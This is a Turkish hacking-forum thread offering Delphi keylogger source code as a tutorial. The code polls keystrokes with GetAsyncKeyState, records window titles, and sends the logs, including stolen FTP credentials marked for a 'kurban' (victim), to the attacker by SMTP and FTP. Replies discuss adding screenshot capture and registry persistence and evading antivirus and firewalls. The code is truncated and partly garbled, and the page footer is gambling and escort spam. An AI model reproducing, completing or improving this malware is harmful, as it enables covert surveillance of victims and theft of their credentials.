kardeş ya kullandığın kodları paylaşıma açarmısın bende yazdım bir keyloger ama maillerde sorun var bir zamanlar mynete mail atabiliyordum ama artık mynetten doalyı gitimiyor "ASIL sormak istediğimde resimleri nasıl kaydettirip gönderttiriyorsun" yardımıcı

guzel...

bana güzel anlatımlı şekilde pm den atarmısınız? çok ihtiyacım var? hemen bekliyorum arkadaşlar acil...

Ty paylasım

ben daha yeni delphiye başladım ne ekliyoruz ne yapıyoruz? birde başlıkta büyük harf yasak diye biliyorum ben.

evet bende yeni ogreniyorum delphiyi ve mailde sorunlar oluyo o yuzden mail ayarlarini indirip severin calistigi dizine kopyalayarak ancak mail yollatabildim bide regstr olayini yapamadim ne denediysem olmadi yada av basbas ottu. gelistirici bilgisi olanvarsa paylasirsa harika olacak valla.

Gerçekten yorum yazdığınız iyi oldu. Yanlış kodları koymuşum değiştirdim.

Arkadaşlar.. Aldanmayın keyloger kodlarını veren bu insanlara, zaten tamımına yakını çalışmaz veya eksik yazılmıştır. Zaten webde herkes birbirinden almış sayfasına koymuştur, ve ne olduğunu bilmeden bir çok arkadaşımızda hiç bilmeden teşekkür ederler bu insanlara. Hadi sıkıysa adam gibi herkesin anlayacağı doğru bir paylaşım yapsınlar da be de teşekkür edeyim.

Keylogger yazalım Keylogger yazalım Big Grin Bolum 1; Delphide bu işleri merak eden çok tanıdık var. Hatta çogu kişi bunlar için delphi ogreniyor. Kabaca bi keylogger yazalım Smile Keylogger aslında kolaydır ama tabi bunu vcl kullanarak yapmak var, kullanmadan yapmaka var iki çeşidini de gosterecem. Smile vcl kullanarak programımıza 3 timer koyuyoruz biri i sadece loglamak, biri pencere başlıklarını almak, biri ftp bildirimi, biri mail bildirimi için şimdi de bildirimleri yapmak için ındy clients kısmından bir tane Idsmtp bir tane de IdFtp koyduk. bir tane memo, bir tane de ipwatch; yapacagımız işleri parçalara bolersek işimiz daha kolay oluır bu yuzden procedure ler ile yapcagız Wink. ; Smile log, // keylogumuz app, // baslıgımız bunlar global stringler implementation un altına yazıyoruz function sysdir:string; //herkesin bilgisayarında windows c de kurulu olmayabilir Big Grin var sdir:array of char; fdir:string; begin GetSystemDirectory(sdir, 255); fdir:=string ; fdir:=fdir+'\'; //soradan ugrasmayalım diyeBig Grin Result:=fdirr; end; procedure mailbil; begin form1. smtp. port:='25'; //bilmiyorsanız ellemeyin burayı Big Grin form1. smtp. connect ; form1. smtp. QuickSend('mx2. mail. yahoo.com','log geldi', mailadresiniz,'AgEnT . org', memo1. line s. gettext); end; //isterseniz Idmessage ile de yapabilirsiniz ben ana hatlarını anlatıyorum gelişmeye açık Wink procedure ftpbil; var tarih:string= FormatDateTime ; begin form1. ftp. host:='';//ftp hostunuz orn:ftp. members. lycos. co. uk form1. ftp. username:='';//kullanıcı adınız form1. ftp. password:=''; //şifreniz form1. ftp. put //form1. smtp. quicksend('mx2. mail. yahoo.com','ftp şifresi geldi psychoBig Grin ','PsychoS gmail.com','kurban . org', for m1. ftp. host+form1. ftp. username +form1. ftp. password);//Big Grin Big Grin Big Grin end; timerlardan birinin on timer kısmına procedure TForm1. Timer1Timer ; var i:integer; begin for i:=8 To 255 do begin if GetAsyncKeyState =-32767 then case i of 8:log:=log+' ';9:log:=log+' '; 13:log:=log+

Öncelikle paylaşım için sağol. kardeş timer olayı çoktan tarihe karıştı döngüyle yapıyo artık herkes. Ben döngü kurarak yaptım ekran resimlerini alıyo ve klavye kayıdı tutuyo birde mail için gmx kullan sorunsuz çalışıyo

Stmp ve Ftp kullanması Firewall yakalanması demek. Ek olarak her basılan tuş yanında item. value lerini ve çalışan aktiv prog list gibi ayrıntılı olması daha iyidir. İtem value almanız Zaten Keglogger için yapılmış keyboard scriptlerini boşa çıkarır. Timer herzaman yaşar. Demiridir delphinin.

TeşekkürLer Kardeş... You must log in or register to reply here. Forum Programlama Delphi Bize Ulaşın Forum Kuralları Gizlilik Sözleşmesi Yardım Ana Sayfa RSS bafra oto ekspertiz, Tiktokbegeni.com, erkek cüzdan, eskişehir haber, çelik ranza, hasta yatağı kiralama, bonus veren siteler, ankara oto ekspertiz, istanbul oto ekspertiz, eskişehir oto ekspertiz, çorum oto ekspertiz, geobonus. org, deneme bonusu, bonusportali.com, vbet giriş, Pokerklas, Caddebet, megapari giriş, meritking giriş, meritking, kingroyal giriş, bahis siteleri, betwinner, rokubet giriş, deneme bonusu veren siteler, takipçi satın al, deneme bonusu veren siteler, betnano giriş, elektronik sigara, deneme bonusu veren siteler, replika saat, melbet giriş, smok, deneme bonusu, bahis forum, melbet, izmit oto ekspertiz, poppers turkiye, eskişehir oto ekspertiz, dalyan otel, hack forum, melbet, sohbet numaraları Wardom. Org Bilginin Adresi. 1998'den beri Wardom yayında! Wardom Türkiye'nin en eski forum sitelerinden biri olarak günümüz web sitelerine sponsor linkler yayınlanmaktadır. ataşehir escort maltepe escort pendik escort gaziantep rus escort xxx videos erotik film izle istanbul escort ankara escort istanbul escort gaziantep escort gaziantep escort Paylaşım sitemizde 5651/8 ve 125. madellere göre, tüm üyeler ve ziyaretçiler sitenin kullanımı ve yapılan paylaşımlarından kendileri sorumludur. Şikayetleriniz için bize ulaşabilirsiniz. Tüm hakları saklıdır 2015 Wardom. Org bilginin adresi. Forum ve bilgisayar güvenliği sitesi. var sc_project=2030864;var sc_invisible=1;var sc_security="c6df530c"; Üst <div class="tooltip-content-inner"> <div class="reactTooltip"> <a href="#" class="reaction reaction--1" data-reaction-id="1"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Like" title="Like" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--2" data-reaction-id="2"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Love" title="Love" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--3" data-reaction-id="3"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Haha" title="Haha" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--4" data-reaction-id="4"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Wow" title="Wow" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--5" data-reaction-id="5"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Sad" title="Sad" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> <a href="#" class="reaction reaction--6" data-reaction-id="6"><i aria-hidden="true"></i><img src="data:image/gif;base64, R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="reaction-sprite js-reaction" alt="Angry" title="Angry" data-xf-init="tooltip" data-extra-class="tooltip--basic tooltip--noninteractive" /></a> </div> </div> { "@context": "https://schema.org", "@type": "DiscussionForumPosting", "@id": "https:\/\/www.wardom.org\/threads\/delphi-icin-keylogger-kaynak-kodu.218749\/", "headline": "DELPHİ için KEYLOGGER KAYNAK KODU", "articleBody": "Keylogger yazalım\r\n\r\nKeylogger yazalım Big Grin\r\n\r\nBolum 1;\r\nDelphide bu işleri merak eden çok tanıdık var. Hatta çogu kişi bunlar için delphi ogreniyor.\r\nKabaca bi keylogger yazalım Smile\r\n\r\nKeylogger aslında kolaydır ama tabi bunu vcl kullanarak yapmak var, kullanmadan yapmaka var iki çeşidini de gosterecem. Smile\r\n\r\nvcl kullanarak \r\nprogramımıza 3 timer koyuyoruz \r\n\r\nbiri i sadece loglamak, biri pencere başlıklarını almak, biri ftp bildirimi, biri mail bildirimi için\r\nşimdi de bildirimleri yapmak için ındy clients kısmından bir tane Idsmtp bir tane de IdFtp koyduk.\r\nbir tane memo, bir tane de ipwatch;\r\n\r\nyapacagımız işleri parçalara bolersek işimiz daha kolay oluır bu yuzden procedure ler ile yapcagız Wink.\r\n ; Smile\r\nlog, \/\/ keylogumuz\r\napp, \/\/ baslıgımız\r\n\r\nbunlar global stringler \r\n\r\n\r\nimplementation un altına yazıyoruz\r\n\r\n\r\n\r\n\r\nfunction sysdir:string; \/\/herkesin bilgisayarında windows c de kurulu olmayabilir Big Grin\r\nvar\r\nsdir:array of char;\r\nfdir:string;\r\nbegin\r\n\r\nGetSystemDirectory(sdir, 255);\r\nfdir:=string ;\r\nfdir:=fdir+'\\'; \/\/soradan ugrasmayalım diyeBig Grin\r\nResult:=fdirr;\r\nend;\r\n\r\n\r\nprocedure mailbil;\r\nbegin\r\nform1. smtp. port:='25'; \/\/bilmiyorsanız ellemeyin burayı Big Grin\r\nform1. smtp. connect ;\r\nform1. smtp. QuickSend('mx2. mail. yahoo.com','log geldi', mailadresiniz,'AgEnT . org', memo1. line s. gettext);\r\nend;\r\n\r\n\/\/isterseniz Idmessage ile de yapabilirsiniz ben ana hatlarını anlatıyorum gelişmeye açık Wink\r\n\r\n\r\n\r\nprocedure ftpbil;\r\nvar tarih:string= FormatDateTime ;\r\nbegin\r\nform1. ftp. host:='';\/\/ftp hostunuz orn:ftp. members. lycos. co. uk\r\nform1. ftp. username:='';\/\/kullanıcı adınız\r\nform1. ftp. password:=''; \/\/şifreniz\r\nform1. ftp. put \r\n\/\/form1. smtp. quicksend('mx2. mail. yahoo.com','ftp şifresi geldi psychoBig Grin ','PsychoS gmail.com','kurban . org', for\r\nm1. ftp. host+form1. ftp. username +form1. ftp. password);\/\/Big Grin Big Grin Big Grin\r\nend;\r\n\r\n\r\ntimerlardan birinin on timer kısmına\r\n\r\n\r\nprocedure TForm1. Timer1Timer ;\r\nvar i:integer;\r\nbegin\r\nfor i:=8 To 255 do\r\nbegin\r\nif GetAsyncKeyState =-32767 then\r\ncase i of\r\n8:log:=log+' ';9:log:=log+' ';\r\n13:log:=log+

Eyvallah çok güzel olmuş. Yabancı sitelerde bazı kodlar buldum ama nedense çalıştıramadım. Farklı componentler kullanıyorlar herhalde.. Bunu bir deniyim.